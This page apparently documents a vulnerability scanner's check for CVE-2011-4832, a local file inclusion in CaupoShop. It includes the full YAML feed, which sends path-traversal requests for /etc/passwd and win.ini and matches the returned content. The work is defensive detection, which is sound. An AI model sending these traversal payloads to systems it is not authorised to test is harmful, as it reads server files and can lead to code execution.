CaupoShop — 1 vulnerability check

noctis ships 1 vulnerability check for CaupoShop, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CaupoShop index.php template Local File Inclusion

CVECVE-2011-4832
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/cauposhop/CVE-2011-4832.yaml

Tests CaupoShop for the unauthenticated local file inclusion in index.php. With action=template, the template parameter is used as an include path without filtering, so ../ sequences make the shop include and print any file the web server user can read, and run any PHP code it holds. Under the web root and /shop, the feed requests the template /etc/passwd, a read-only system file, then windows/win.ini for Windows servers. A root account line or the win.ini sections printed in the reply confirm the inclusion. A control request for an absent random file through the same parameter must not return the file, so a server that serves the same content on every request is not reported. Nothing is written on the target.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php?action=template&template=../../../../../../../../../../etc/passwd
  2. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n]*:0:[01]:
  3. HTTP(S) request GET {{dir}}/index.php?action=template&template=../../../../../../../../../../windows/win.…
  4. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  5. HTTP(S) request GET {{dir}}/index.php?action=template&template=../../../../../../../../../../noctis-absen…
  6. Checks ctrl_r.body for (?i)((?m:(?:^|>)root:[^:\r\n]*:0:[01]:)|; for 16-bit app support|\[fo…
  7. Checks hit_file for ^(etc/passwd|windows/win\.ini)$ → finding QoD 75: CaupoShop index.php template Local File Inclusion (CVE-2011-4832)

References:

Feed source — tests/vulnerabilities/cauposhop/CVE-2011-4832.yaml
# CaupoShop index.php template parameter local file inclusion — CVE-2011-4832
#
# index.php?action=template&template=<path> of CaupoShop (Classic 3.70 and
# earlier, BID 50530) includes the named template without filtering the path,
# so "../" sequences reach any file the web server user can read; the included
# file is printed as-is when it holds no PHP code.
#
# Detection (benign, read-only): GET index.php?action=template&template= with
# ten "../" levels followed by /etc/passwd, then windows/win.ini for Windows
# servers, under the web root and /shop. The file content printed in the reply
# proves the inclusion. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - the NASL only tries when the home page mentions "cauposhop"; the feed
#     proves the inclusion itself, so a customised front page is not missed.
#   - A control request (same script and parameter, a path in an absent random
#     directory ending with the file that hit) must come back WITHOUT the file
#     content, so a blanket responder or a honeypot keyed on the file name is
#     not reported (fail-closed: no control reply, no finding).
#
# CVSS: CVE-2011-4832 has an NVD v2 score of 7.5 only (no v3).
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_cauposhop_50530.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103335, GPL-2.0-only).
uid: ba457ef3-66ad-4438-9a41-7e8783ac3a83
name: "CaupoShop index.php template Local File Inclusion (CVE-2011-4832)"
description: |
  Tests CaupoShop for the unauthenticated local file inclusion in index.php.
  With action=template, the template parameter is used as an include path
  without filtering, so ../ sequences make the shop include and print any
  file the web server user can read, and run any PHP code it holds. Under the
  web root and /shop, the feed requests the template /etc/passwd, a read-only
  system file, then windows/win.ini for Windows servers. A root account line
  or the win.ini sections printed in the reply confirm the inclusion. A control
  request for an absent random file through the same parameter must not return
  the file, so a server that serves the same content on every request is not
  reported. Nothing is written on the target.
cves: [CVE-2011-4832]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [cauposhop, php, local-file-inclusion, lfi, path-traversal, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4832"
  - "http://www.securityfocus.com/bid/50530"
  # OpenVAS/Greenbone NASL 2011/gb_cauposhop_50530.nasl (GPL-2.0-only)

steps:
  # Loop group: every following step runs once per install location.
  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""
    loop:
      var: dir
      over: ["", "/shop"]

  - id: init-hit-text
    action: set_var
    var_name: hit_text
    var_value: ""

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: tpl-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?action=template&template=../../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  - id: tpl-passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:"
    condition: "passwd_r.status == 200"
    on_match:
      set_vars:
        hit_file: "etc/passwd"
        hit_text: "a root account line of /etc/passwd"

  # Windows server: windows/win.ini, only when index.php answered (200).
  - id: tpl-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?action=template&template=../../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: tpl-winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        hit_file: "windows/win.ini"
        hit_text: "the sections of windows/win.ini"

  # Control: same script and parameter, absent random directory ending with the file that hit.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?action=template&template=../../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?i)((?m:(?:^|>)root:[^:\\r\\n]*:0:[01]:)|; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  - id: report
    action: match
    source: hit_file
    pattern: "^(etc/passwd|windows/win\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "CaupoShop index.php template Local File Inclusion (CVE-2011-4832)"
        description: "An unauthenticated request to index.php with action=template and a template parameter holding a ../ sequence made CaupoShop include a local system file and print it, while the same request for an absent file did not. The same flaw includes any file the web server user can read and runs any PHP code it holds."
        remediation: "Upgrade CaupoShop to a release that filters the template parameter, or restrict access to index.php?action=template. Block ../ sequences in the template parameter at the web server or WAF."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/index.php?action=template&template=../../../../../../../../../../{{hit_file}} returned {{hit_text}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub